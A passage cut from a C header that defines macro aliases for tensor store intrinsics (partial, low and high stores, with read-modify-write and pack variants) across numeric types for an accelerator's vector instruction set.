v, dt, op, rmw, dl, s, f) i16_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define u16_st_tnsr_partial_rmw_pack_i_v(n, t, v, dt, op, rmw, dl, s, f) u16_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define i8_st_tnsr_partial_rmw_pack_i_v(n, t, v, dt, op, rmw, dl, s, f) i8_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n#define u8_st_tnsr_partial_rmw_pack_i_v(n, t, v, dt, op, rmw, dl, s, f) u8_st_tnsr_partial_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, s, f, 1, 0)\n\n#define f32_st_tnsr_partial_reg_rmw_i_s_v_b f32_st_tnsr_partial_rmw_i_v_b\n#define bf16_st_tnsr_partial_reg_rmw_i_s_v_b bf16_st_tnsr_partial_rmw_i_v_b\n#define f16_st_tnsr_partial_reg_rmw_i_s_v_b f16_st_tnsr_partial_rmw_i_v_b\n#define i32_st_tnsr_partial_reg_rmw_i_s_v_b i32_st_tnsr_partial_rmw_i_v_b\n#define u32_st_tnsr_partial_reg_rmw_i_s_v_b u32_st_tnsr_partial_rmw_i_v_b\n#define i16_st_tnsr_partial_reg_rmw_i_s_v_b i16_st_tnsr_partial_rmw_i_v_b\n#define u16_st_tnsr_partial_reg_rmw_i_s_v_b u16_st_tnsr_partial_rmw_i_v_b\n#define i8_st_tnsr_partial_reg_rmw_i_s_v_b i8_st_tnsr_partial_rmw_i_v_b\n#define u8_st_tnsr_partial_reg_rmw_i_s_v_b u8_st_tnsr_partial_rmw_i_v_b\n\n#define f32_st_tnsr_partial_reg_rmw_i_s_v f32_st_tnsr_partial_rmw_i_v\n#define bf16_st_tnsr_partial_reg_rmw_i_s_v bf16_st_tnsr_partial_rmw_i_v\n#define f16_st_tnsr_partial_reg_rmw_i_s_v f16_st_tnsr_partial_rmw_i_v\n#define i32_st_tnsr_partial_reg_rmw_i_s_v i32_st_tnsr_partial_rmw_i_v\n#define u32_st_tnsr_partial_reg_rmw_i_s_v u32_st_tnsr_partial_rmw_i_v\n#define i16_st_tnsr_partial_reg_rmw_i_s_v i16_st_tnsr_partial_rmw_i_v\n#define u16_st_tnsr_partial_reg_rmw_i_s_v u16_st_tnsr_partial_rmw_i_v\n#define i8_st_tnsr_partial_reg_rmw_i_s_v i8_st_tnsr_partial_rmw_i_v\n#define u8_st_tnsr_partial_reg_rmw_i_s_v u8_st_tnsr_partial_rmw_i_v\n\n#define f32_st_tnsr_partial_reg_rmw_pack_i_s_v_b f32_st_tnsr_partial_rmw_pack_i_v_b\n#define bf16_st_tnsr_partial_reg_rmw_pack_i_s_v_b bf16_st_tnsr_partial_rmw_pack_i_v_b\n#define f16_st_tnsr_partial_reg_rmw_pack_i_s_v_b f16_st_tnsr_partial_rmw_pack_i_v_b\n#define i32_st_tnsr_partial_reg_rmw_pack_i_s_v_b i32_st_tnsr_partial_rmw_pack_i_v_b\n#define u32_st_tnsr_partial_reg_rmw_pack_i_s_v_b u32_st_tnsr_partial_rmw_pack_i_v_b\n#define i16_st_tnsr_partial_reg_rmw_pack_i_s_v_b i16_st_tnsr_partial_rmw_pack_i_v_b\n#define u16_st_tnsr_partial_reg_rmw_pack_i_s_v_b u16_st_tnsr_partial_rmw_pack_i_v_b\n#define i8_st_tnsr_partial_reg_rmw_pack_i_s_v_b i8_st_tnsr_partial_rmw_pack_i_v_b\n#define u8_st_tnsr_partial_reg_rmw_pack_i_s_v_b u8_st_tnsr_partial_rmw_pack_i_v_b\n\n#define f32_st_tnsr_partial_reg_rmw_pack_i_s_v f32_st_tnsr_partial_rmw_pack_i_v\n#define bf16_st_tnsr_partial_reg_rmw_pack_i_s_v bf16_st_tnsr_partial_rmw_pack_i_v\n#define i32_st_tnsr_partial_reg_rmw_pack_i_s_v i32_st_tnsr_partial_rmw_pack_i_v\n#define u32_st_tnsr_partial_reg_rmw_pack_i_s_v u32_st_tnsr_partial_rmw_pack_i_v\n#define i16_st_tnsr_partial_reg_rmw_pack_i_s_v i16_st_tnsr_partial_rmw_pack_i_v\n#define u16_st_tnsr_partial_reg_rmw_pack_i_s_v u16_st_tnsr_partial_rmw_pack_i_v\n#define i8_st_tnsr_partial_reg_rmw_pack_i_s_v i8_st_tnsr_partial_rmw_pack_i_v\n#define u8_st_tnsr_partial_reg_rmw_pack_i_s_v u8_st_tnsr_partial_rmw_pack_i_v\n\n// ST_TNSR_LOW\n\n\n#define f32_st_tnsr_low_i_v_b(n, t, v, p, o) v_f32_st_tnsr_low(n, t, v, 0, p, o)\n#define bf16_st_tnsr_low_i_v_b(n, t, v, p, o) v_bf16_st_tnsr_low(n, t, v, 0, p, o)\n#define i32_st_tnsr_low_i_v_b(n, t, v, p, o) v_i32_st_tnsr_low(n, t, v, 0, p, o)\n#define u32_st_tnsr_low_i_v_b(n, t, v, p, o) v_u32_st_tnsr_low(n, t, v, 0, p, o)\n#define i16_st_tnsr_low_i_v_b(n, t, v, p, o) v_i16_st_tnsr_low(n, t, v, 0, p, o)\n#define u16_st_tnsr_low_i_v_b(n, t, v, p, o) v_u16_st_tnsr_low(n, t, v, 0, p, o)\n#define i8_st_tnsr_low_i_v_b(n, t, v, p, o) v_i8_st_tnsr_low(n, t, v, 0, p, o)\n#define u8_st_tnsr_low_i_v_b(n, t, v, p, o) v_u8_st_tnsr_low(n, t, v, 0, p, o)\n#define st_tnsr_low_i_bv_b(n, t, v, p, o) v_i1_st_tnsr_low(n, t, v, 0, p, o)\n\n#define f32_st_tnsr_low_i_v(n, t, v) f32_st_tnsr_low_i_v_b(n, t, v, 1, 0)\n#define bf16_st_tnsr_low_i_v(n, t, v) bf16_st_tnsr_low_i_v_b(n, t, v, 1, 0)\n#define f16_st_tnsr_low_i_v(n, t, v) f16_st_tnsr_low_i_v_b(n, t, v, 1, 0)\n#define i32_st_tnsr_low_i_v(n, t, v) i32_st_tnsr_low_i_v_b(n, t, v, 1, 0)\n#define u32_st_tnsr_low_i_v(n, t, v) u32_st_tnsr_low_i_v_b(n, t, v, 1, 0)\n#define i16_st_tnsr_low_i_v(n, t, v) i16_st_tnsr_low_i_v_b(n, t, v, 1, 0)\n#define u16_st_tnsr_low_i_v(n, t, v) u16_st_tnsr_low_i_v_b(n, t, v, 1, 0)\n#define i8_st_tnsr_low_i_v(n, t, v) i8_st_tnsr_low_i_v_b(n, t, v, 1, 0)\n#define u8_st_tnsr_low_i_v(n, t, v) u8_st_tnsr_low_i_v_b(n, t, v, 1, 0)\n#define st_tnsr_low_i_bv(n, t, v) st_tnsr_low_i_bv_b(n, t, v, 1, 0)\n\n#define f32_st_tnsr_low_pack_i_v_b(n, t, v, p, o) v_f32_st_tnsr_low(n, t, v, SW_PACK, p, o)\n#define bf16_st_tnsr_low_pack_i_v_b(n, t, v, p, o) v_bf16_st_tnsr_low(n, t, v, SW_PACK, p, o)\n#define i32_st_tnsr_low_pack_i_v_b(n, t, v, p, o) v_i32_st_tnsr_low(n, t, v, SW_PACK, p, o)\n#define u32_st_tnsr_low_pack_i_v_b(n, t, v, p, o) v_u32_st_tnsr_low(n, t, v, SW_PACK, p, o)\n#define i16_st_tnsr_low_pack_i_v_b(n, t, v, p, o) v_i16_st_tnsr_low(n, t, v, SW_PACK, p, o)\n#define u16_st_tnsr_low_pack_i_v_b(n, t, v, p, o) v_u16_st_tnsr_low(n, t, v, SW_PACK, p, o)\n#define i8_st_tnsr_low_pack_i_v_b(n, t, v, p, o) v_i8_st_tnsr_low(n, t, v, SW_PACK, p, o)\n#define u8_st_tnsr_low_pack_i_v_b(n, t, v, p, o) v_u8_st_tnsr_low(n, t, v, SW_PACK, p, o)\n\n#define f32_st_tnsr_low_pack_i_v(n, t, v) f32_st_tnsr_low_pack_i_v_b(n, t, v, 1, 0)\n#define bf16_st_tnsr_low_pack_i_v(n, t, v) bf16_st_tnsr_low_pack_i_v_b(n, t, v, 1, 0)\n#define f16_st_tnsr_low_pack_i_v(n, t, v) f16_st_tnsr_low_pack_i_v_b(n, t, v, 1, 0)\n#define i32_st_tnsr_low_pack_i_v(n, t, v) i32_st_tnsr_low_pack_i_v_b(n, t, v, 1, 0)\n#define u32_st_tnsr_low_pack_i_v(n, t, v) u32_st_tnsr_low_pack_i_v_b(n, t, v, 1, 0)\n#define i16_st_tnsr_low_pack_i_v(n, t, v) i16_st_tnsr_low_pack_i_v_b(n, t, v, 1, 0)\n#define u16_st_tnsr_low_pack_i_v(n, t, v) u16_st_tnsr_low_pack_i_v_b(n, t, v, 1, 0)\n#define i8_st_tnsr_low_pack_i_v(n, t, v) i8_st_tnsr_low_pack_i_v_b(n, t, v, 1, 0)\n#define u8_st_tnsr_low_pack_i_v(n, t, v) u8_st_tnsr_low_pack_i_v_b(n, t, v, 1, 0)\n\n#define f32_st_tnsr_low_reg_i_s_v_b f32_st_tnsr_low_i_v_b\n#define bf16_st_tnsr_low_reg_i_s_v_b bf16_st_tnsr_low_i_v_b\n#define f16_st_tnsr_low_reg_i_s_v_b f16_st_tnsr_low_i_v_b\n#define i32_st_tnsr_low_reg_i_s_v_b i32_st_tnsr_low_i_v_b\n#define u32_st_tnsr_low_reg_i_s_v_b u32_st_tnsr_low_i_v_b\n#define i16_st_tnsr_low_reg_i_s_v_b i16_st_tnsr_low_i_v_b\n#define u16_st_tnsr_low_reg_i_s_v_b u16_st_tnsr_low_i_v_b\n#define i8_st_tnsr_low_reg_i_s_v_b i8_st_tnsr_low_i_v_b\n#define u8_st_tnsr_low_reg_i_s_v_b u8_st_tnsr_low_i_v_b\n#define st_tnsr_low_reg_i_s_bv_b st_tnsr_low_i_bv_b\n\n#define f32_st_tnsr_low_reg_i_s_v f32_st_tnsr_low_i_v\n#define bf16_st_tnsr_low_reg_i_s_v bf16_st_tnsr_low_i_v\n#define f16_st_tnsr_low_reg_i_s_v f16_st_tnsr_low_i_v\n#define i32_st_tnsr_low_reg_i_s_v i32_st_tnsr_low_i_v\n#define u32_st_tnsr_low_reg_i_s_v u32_st_tnsr_low_i_v\n#define i16_st_tnsr_low_reg_i_s_v i16_st_tnsr_low_i_v\n#define u16_st_tnsr_low_reg_i_s_v u16_st_tnsr_low_i_v\n#define i8_st_tnsr_low_reg_i_s_v i8_st_tnsr_low_i_v\n#define u8_st_tnsr_low_reg_i_s_v u8_st_tnsr_low_i_v\n#define st_tnsr_low_reg_i_s_bv st_tnsr_low_i_bv\n\n#define f32_st_tnsr_low_reg_pack_i_s_v_b f32_st_tnsr_low_pack_i_v_b\n#define bf16_st_tnsr_low_reg_pack_i_s_v_b bf16_st_tnsr_low_pack_i_v_b\n#define f16_st_tnsr_low_reg_pack_i_s_v_b f16_st_tnsr_low_pack_i_v_b\n#define i32_st_tnsr_low_reg_pack_i_s_v_b i32_st_tnsr_low_pack_i_v_b\n#define u32_st_tnsr_low_reg_pack_i_s_v_b u32_st_tnsr_low_pack_i_v_b\n#define i16_st_tnsr_low_reg_pack_i_s_v_b i16_st_tnsr_low_pack_i_v_b\n#define u16_st_tnsr_low_reg_pack_i_s_v_b u16_st_tnsr_low_pack_i_v_b\n#define i8_st_tnsr_low_reg_pack_i_s_v_b i8_st_tnsr_low_pack_i_v_b\n#define u8_st_tnsr_low_reg_pack_i_s_v_b u8_st_tnsr_low_pack_i_v_b\n\n#define f32_st_tnsr_low_reg_pack_i_s_v f32_st_tnsr_low_pack_i_v\n#define bf16_st_tnsr_low_reg_pack_i_s_v bf16_st_tnsr_low_pack_i_v\n#define f16_st_tnsr_low_reg_pack_i_s_v f16_st_tnsr_low_pack_i_v\n#define i32_st_tnsr_low_reg_pack_i_s_v i32_st_tnsr_low_pack_i_v\n#define u32_st_tnsr_low_reg_pack_i_s_v u32_st_tnsr_low_pack_i_v\n#define i16_st_tnsr_low_reg_pack_i_s_v i16_st_tnsr_low_pack_i_v\n#define u16_st_tnsr_low_reg_pack_i_s_v u16_st_tnsr_low_pack_i_v\n#define i8_st_tnsr_low_reg_pack_i_s_v i8_st_tnsr_low_pack_i_v\n#define u8_st_tnsr_low_reg_pack_i_s_v u8_st_tnsr_low_pack_i_v\n\n#define f32_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_f32_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define bf16_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_bf16_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define i32_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i32_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define u32_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u32_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define i16_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i16_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define u16_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u16_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define i8_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i8_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n#define u8_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u8_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), 0, p, o)\n\n#define f32_st_tnsr_low_rmw_i_v(n, t, v, dt, op, rmw, dl) f32_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define bf16_st_tnsr_low_rmw_i_v(n, t, v, dt, op, rmw, dl) bf16_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define f16_st_tnsr_low_rmw_i_v(n, t, v, dt, op, rmw, dl) f16_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i32_st_tnsr_low_rmw_i_v(n, t, v, dt, op, rmw, dl) i32_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u32_st_tnsr_low_rmw_i_v(n, t, v, dt, op, rmw, dl) u32_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i16_st_tnsr_low_rmw_i_v(n, t, v, dt, op, rmw, dl) i16_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u16_st_tnsr_low_rmw_i_v(n, t, v, dt, op, rmw, dl) u16_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i8_st_tnsr_low_rmw_i_v(n, t, v, dt, op, rmw, dl) i8_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u8_st_tnsr_low_rmw_i_v(n, t, v, dt, op, rmw, dl) u8_st_tnsr_low_rmw_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n\n#define f32_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_f32_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define bf16_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_bf16_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define i32_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i32_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define u32_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u32_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define i16_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i16_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define u16_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u16_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define i8_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_i8_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n#define u8_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, p, o) v_u8_st_tnsr_low_rmw(n, t, v, MkRMW(dt, op, rmw, dl), SW_PACK, p, o)\n\n#define f32_st_tnsr_low_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) f32_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define bf16_st_tnsr_low_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) bf16_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define f16_st_tnsr_low_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) f16_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i32_st_tnsr_low_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) i32_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u32_st_tnsr_low_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) u32_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i16_st_tnsr_low_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) i16_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u16_st_tnsr_low_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) u16_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define i8_st_tnsr_low_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) i8_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n#define u8_st_tnsr_low_rmw_pack_i_v(n, t, v, dt, op, rmw, dl) u8_st_tnsr_low_rmw_pack_i_v_b(n, t, v, dt, op, rmw, dl, 1, 0)\n\n#define f32_st_tnsr_low_reg_rmw_i_s_v_b f32_st_tnsr_low_rmw_i_v_b\n#define bf16_st_tnsr_low_reg_rmw_i_s_v_b bf16_st_tnsr_low_rmw_i_v_b\n#define f16_st_tnsr_low_reg_rmw_i_s_v_b f16_st_tnsr_low_rmw_i_v_b\n#define i32_st_tnsr_low_reg_rmw_i_s_v_b i32_st_tnsr_low_rmw_i_v_b\n#define u32_st_tnsr_low_reg_rmw_i_s_v_b u32_st_tnsr_low_rmw_i_v_b\n#define i16_st_tnsr_low_reg_rmw_i_s_v_b i16_st_tnsr_low_rmw_i_v_b\n#define u16_st_tnsr_low_reg_rmw_i_s_v_b u16_st_tnsr_low_rmw_i_v_b\n#define i8_st_tnsr_low_reg_rmw_i_s_v_b i8_st_tnsr_low_rmw_i_v_b\n#define u8_st_tnsr_low_reg_rmw_i_s_v_b u8_st_tnsr_low_rmw_i_v_b\n\n#define f32_st_tnsr_low_reg_rmw_i_s_v f32_st_tnsr_low_rmw_i_v\n#define bf16_st_tnsr_low_reg_rmw_i_s_v bf16_st_tnsr_low_rmw_i_v\n#define f16_st_tnsr_low_reg_rmw_i_s_v f16_st_tnsr_low_rmw_i_v\n#define i32_st_tnsr_low_reg_rmw_i_s_v i32_st_tnsr_low_rmw_i_v\n#define u32_st_tnsr_low_reg_rmw_i_s_v u32_st_tnsr_low_rmw_i_v\n#define i16_st_tnsr_low_reg_rmw_i_s_v i16_st_tnsr_low_rmw_i_v\n#define u16_st_tnsr_low_reg_rmw_i_s_v u16_st_tnsr_low_rmw_i_v\n#define i8_st_tnsr_low_reg_rmw_i_s_v i8_st_tnsr_low_rmw_i_v\n#define u8_st_tnsr_low_reg_rmw_i_s_v u8_st_tnsr_low_rmw_i_v\n\n#define f32_st_tnsr_low_reg_rmw_pack_i_s_v_b f32_st_tnsr_low_rmw_pack_i_v_b\n#define bf16_st_tnsr_low_reg_rmw_pack_i_s_v_b bf16_st_tnsr_low_rmw_pack_i_v_b\n#define f16_st_tnsr_low_reg_rmw_pack_i_s_v_b f16_st_tnsr_low_rmw_pack_i_v_b\n#define i32_st_tnsr_low_reg_rmw_pack_i_s_v_b i32_st_tnsr_low_rmw_pack_i_v_b\n#define u32_st_tnsr_low_reg_rmw_pack_i_s_v_b u32_st_tnsr_low_rmw_pack_i_v_b\n#define i16_st_tnsr_low_reg_rmw_pack_i_s_v_b i16_st_tnsr_low_rmw_pack_i_v_b\n#define u16_st_tnsr_low_reg_rmw_pack_i_s_v_b u16_st_tnsr_low_rmw_pack_i_v_b\n#define i8_st_tnsr_low_reg_rmw_pack_i_s_v_b i8_st_tnsr_low_rmw_pack_i_v_b\n#define u8_st_tnsr_low_reg_rmw_pack_i_s_v_b u8_st_tnsr_low_rmw_pack_i_v_b\n\n#define f32_st_tnsr_low_reg_rmw_pack_i_s_v f32_st_tnsr_low_rmw_pack_i_v\n#define bf16_st_tnsr_low_reg_rmw_pack_i_s_v bf16_st_tnsr_low_rmw_pack_i_v\n#define i32_st_tnsr_low_reg_rmw_pack_i_s_v i32_st_tnsr_low_rmw_pack_i_v\n#define u32_st_tnsr_low_reg_rmw_pack_i_s_v u32_st_tnsr_low_rmw_pack_i_v\n#define i16_st_tnsr_low_reg_rmw_pack_i_s_v i16_st_tnsr_low_rmw_pack_i_v\n#define u16_st_tnsr_low_reg_rmw_pack_i_s_v u16_st_tnsr_low_rmw_pack_i_v\n#define i8_st_tnsr_low_reg_rmw_pack_i_s_v i8_st_tnsr_low_rmw_pack_i_v\n#define u8_st_tnsr_low_reg_rmw_pack_i_s_v u8_st_tnsr_low_rmw_pack_i_v\n\n// ST_TNSR_HIGH\n#define f32_st_tnsr_high_i_v_b(n, t, v, p, o) v_f32_st_tnsr_high(n, t, v, 0, p, o)\n#define bf16_st_tnsr_high_i_v_b(n, t, v, p, o) v_bf16_st_tnsr_high(n, t, v, 0, p, o)\n#define i32_st_tnsr_high_i_v_b(n, t, v, p, o) v_i32_st_tnsr_high(n, t, v, 0, p, o)\n#define u32_st_tnsr_high_i_v_b(n, t, v, p, o) v_u32_st_tnsr_high(n, t, v, 0, p, o)\n#define i16_st_tnsr_high_i_v_b(n, t, v, p, o) v_i16_st_tnsr_high(n, t, v, 0, p, o)\n#define u16_st_tnsr_high_i_v_b(n, t, v, p, o) v_u16_st_tnsr_high(n, t, v, 0, p, o)\n#define i8_st_tnsr_high_i_v_b(n, t, v, p, o) v_i8_st_tnsr_high(n, t, v, 0, p, o)\n#define u8_st_tnsr_high_i_v_b(n, t, v, p, o) v_u8_st_tnsr_high(n, t, v, 0, p, o)\n#define st_tnsr_high_i_bv_b(n, t, v, p, o) v_i1_st_tnsr_high(n, t, v, 0, p, o)\n\n#define f32_st_tnsr_high_i_v(n, t, v) f32_st_tnsr_high_i_v_b(n, t, v, 1, 0)\n#define bf16_st_tnsr_high_i_v(n, t, v) bf16_st_tnsr_high_i_v_b(n, t, v, 1, 0)\n#define i32_st_tnsr_high_i_v(n, t, v) i32_st_tnsr_high_i_v_b(n, t, v, 1, 0)\n#define u32_st_tnsr_high_i_v(n, t, v) u32_st_tnsr_high_i_v_b(n, t, v, 1, 0)\n#define i16_st_tnsr_high_i_v(n, t, v) i16_st_tnsr_high_i_v_b(n, t, v, 1, 0)\n#define u16_st_tnsr_high_i_v(n, t, v) u16_st_tnsr_high_i_v_b(n, t, v, 1, 0)\n#define i8_st_tnsr_high_i_v(n, t, v) i8_st_tnsr_high_i_v_b(n, t, v, 1, 0)\n#define u8_st_tnsr_high_i_v(n, t, v) u8_st_tnsr_high_i_v_b(n, t, v, 1, 0)\n#define st_tnsr_high_i_bv(n, t, v) st_tnsr_high_i_bv_b(n, t, v, 1, 0)\n\n#define f32_st_tnsr_high_pack_i_v_b(n, t, v, p, o) v_f32_st_tnsr_high(n, t, v, SW_PACK, p, o)\n#define bf16_st_tnsr_high_pack_i_v_b(n, t, v, p, o) v_bf16_st_tnsr_high(n, t, v, SW_PACK, p, o)\n#define i32_st_tnsr_high_pack_i_v_b(n, t, v, p, o) v_i32_st_tnsr_high(n, t, v, SW_PACK, p, o)\n#define u32_st_tnsr_high_pack_i_v_b(n, t, v, p, o) v_u32_st_tnsr_high(n, t, v, SW_PACK, p, o)\n#define i16_st_tnsr_high_pack_i_v_b(n, t, v, p, o) v_i16_st_tnsr_high(n, t, v, SW_PACK, p, o)\n#define u16_st_tnsr_high_pack_i_v_b(n, t, v, p, o) v_u16_st_tnsr_high(n, t, v, SW_PACK, p, o)\n#define i8_st_tnsr_high_pack_i_v_b(n, t, v, p, o) v_i8_st_tnsr_high(n, t, v, SW_PACK, p, o)\n#define u8_st_tnsr_high_pack_i_v_b(n, t, v, p, o) v_u8_st_tnsr_high(n, t, v, SW_PACK, p, o)\n\n#define f32_st_tnsr_high_pack_i_v(n, t, v) f32_st_tnsr_high_pack_i_v_b(n, t, v, 1, 0)\n#define bf16_st_tnsr_high_pack_i_v(n, t, v) bf16_st_tnsr_high_pack_i_v_b(n, t, v, 1, 0)\n#define f16_st_tnsr_high_pack_i_v(n, t, v) f16_st_tnsr_high_pack_i_v_b(n, t, v, 1, 0)\n#define i32_st_tnsr_high_pack_i_v(n, t, v) i32_st_tnsr_high_pack_i_v_b(n, t, v, 1, 0)\n#define u32_st_tnsr_high_pack_i_v(n, t, v) u32_st_tnsr_high_pack_i_v_b(n, t, v, 1, 0)\n#define i16_st_tnsr_high_pack_i_v(n, t, v) i16_st_tnsr_high_pack_i_v_b(n, t, v, 1, 0)\n#define u16_st_tnsr_high_pack_i_v(n, t, v) u16_st_tnsr_high_pack_i_v_b(n, t, v, 1, 0)\n#define i8_st_tnsr_high_pack_i_v(n, t, v) i8_st_tnsr_high_pack_i_v_b(n, t, v, 1, 0)\n#define u8_st_tnsr_high_pack_i_v(n, t, v) u8_st_tnsr_high_pack_i_v_b(n, t, v, 1, 0)\n\n#define f32_st_tnsr_high_reg_i_s_v_b f32_st_tnsr_high_i_v_b\n#define bf16_st_tnsr_high_reg_i_s_v_b bf16_st_tnsr_high_i_v_b\n#define f16_st_tnsr_high_reg_i_s_v_b f16_st_tnsr_high_i_v_b\n#define i32_st_tnsr_high_reg_i_s_v_b i32_st_tnsr_high_i_v_b\n#define u32_st_tnsr_high_reg_i_s_v_b u32_st_tnsr_high_i_v_b\n#define i16_st_tnsr_high_reg_i_s_v_b i16_st_tnsr_high_i_v_b\n#define u16_st_tnsr_high_reg_i_s_v_b u16_st_tnsr_high_i_v_b\n#define i8_st_tnsr_high_reg_i_s_v_b i8_st_tnsr_high_i_v_b\n#define u8_st_tnsr_high_reg_i_s_v_b u8_st_tnsr_high_i_v_b\n#define st_tnsr_high_reg_i_s_bv_b st_tnsr_high_i_bv_b\n\n#define f32_st_tnsr_high_reg_i_s_v f32_st_tnsr_high_i_v\n#define bf16_st_tnsr_high_reg_i_s_v bf16_st_tnsr_high_i_v\n#define f16_st_tnsr_high_reg_i_s_v f16_st_tnsr_high_i_v\n#define i32_st_tnsr_high_reg_i_s_v i32_st_tnsr_high_i_v\n#define u32_st_tnsr_high_reg_i_s_v u32_st_tnsr_high_i_v\n#define i16_st_tnsr_high_reg_i_s_v i16_st_tnsr_high_i_v\n#define u16_st_tnsr_high_reg_i_s_v u16_st_tnsr_high_i_v\n#define i8_st_tnsr_high_reg_i_s_v i8_st_tnsr_high_i_v\n#define u8_st_tnsr_high_reg_i_s_v u8_st_tnsr_high_i_v\n#define st_tnsr_high_reg_i_s_bv st_tnsr_high_i_bv\n\n#define f32_st_tnsr_high_reg_pack_i_s_v_b f32_st_tnsr_high_pack_i_v_b\n#define bf16_st_tnsr_high_reg_pack_i_s_v_b bf16_st_tnsr_high_pack_i_v_b\n#define f16_st_tnsr_high_reg_pack_i_s_v_b f16_st_tnsr_high_pack_i_v_b\n#define i32_st_tnsr_high_reg_pack_i_s_v_b i32_st_tnsr_high_pack_i_v_b\n#define u32_st_tnsr_high_reg_pack_i_s_v_b u32_st_tnsr_high_pack_i_v_b\n#define i16_st_tnsr_high_reg_pack_i_s_v_b i16_st_tnsr_high_pack_i_v_b\n#define u16_st_tnsr_high_reg_pack_i_s_v_b u16_st_tnsr_high_pack_i_v_b\n#define i8_st_tnsr_high_reg_pack_i_s_v_b i8_st_tnsr_high_pack_i_v_b\n#define u8_st_tnsr_high_reg_pack_i_s_v_b u8_st_tnsr_high_pack_i_v_b\n\n#define f32_st_tnsr_high_reg_pack_i_s_v f32_st_tnsr_high_pack_i_v\n#define bf16_st_tnsr_high_reg_pack_i_s_v bf16_st_tnsr_high_pack_i_v\n#define f16_st_tnsr_high_reg_pack_i_s_v f16_st_tnsr_high_pack_i_v\n#define i32_st_tnsr_high_reg_pack_i_s_v i32_st_tnsr_high_pack_i_v\n#define u32_st_tnsr_high_reg_pack_i_s_v u32_st_tnsr_high_pack_i_v\n#define i16_st_tnsr_high_reg_pack_i_s_v i16_st_tnsr_high_pack_i_v\n#define u16_st_tnsr_high_reg_pack_i_s_v u16_st_tnsr_high_pack_i_v\n#define 